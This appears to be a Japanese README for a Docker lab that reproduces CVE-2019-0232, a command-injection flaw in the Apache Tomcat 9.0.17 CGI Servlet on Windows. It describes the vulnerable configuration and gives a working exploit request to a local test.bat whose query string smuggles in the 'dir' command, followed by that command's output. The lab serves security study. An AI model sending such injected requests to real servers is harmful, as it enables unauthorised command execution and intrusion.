
Dockerベースのラボ環境で、Windows上のApache Tomcat CGI Servletにおけるリモートコード実行の脆弱性CVE-2019-0232を再現し、悪用例を提供します。
このリポジトリは、Windows 上の Apache Tomcat 9.0.17 における CVE-2019-0232 脆弱性を再現するための Docker ベースのラボ環境を提供します。
CVE-2019-0232 は、Windows 上で動作する Apache Tomcat CGI Servlet におけるリモートコード実行の脆弱性です。この問題は、enableCmdLineArguments パラメータが true に設定されている場合のコマンドライン引数の不適切な処理に起因します。攻撃者はクエリ文字列を介して CGI スクリプトに任意の引数を渡すことができ、システムコマンドの実行につながります。
enableCmdLineArguments=truetomcat-cgi-lab
├── docker-compose.yml
├── Dockerfile
└── tomcat
├── apache-tomcat-9.0.17-windows-x64.zip
└── apache-tomcat-9.0.17
├── conf
│ └── context.xml ← (privileged="true")
└── webapps
└── ROOT
└── WEB-INF
├── web.xml ← (CGI 設定)
└── cgi-bin
└── test.bat ← (.bat スクリプト)
privileged="true" を設定します。enableCmdLineArguments=true で CGI サーブレットを定義し、/cgi-bin/* にマッピングします。docker-compose build --no-cache
docker-compose up -d
curl -i "http://localhost:8080/cgi-bin/test.bat?&dir"
Welcome to CGI Test Page
Volume in drive C has no label.
Volume Serial Number is 3E70-7C38
Directory of C:\apache-tomcat-9.0.17\webapps\ROOT\WEB-INF\cgi-bin
07/12/2026 11:45 AM <DIR> .
07/12/2026 11:45 AM <DIR> ..
07/12/2026 12:25 PM 78 test.bat
1 File(s) 78 bytes
2 Dir(s) 136,027,971,584 bytes free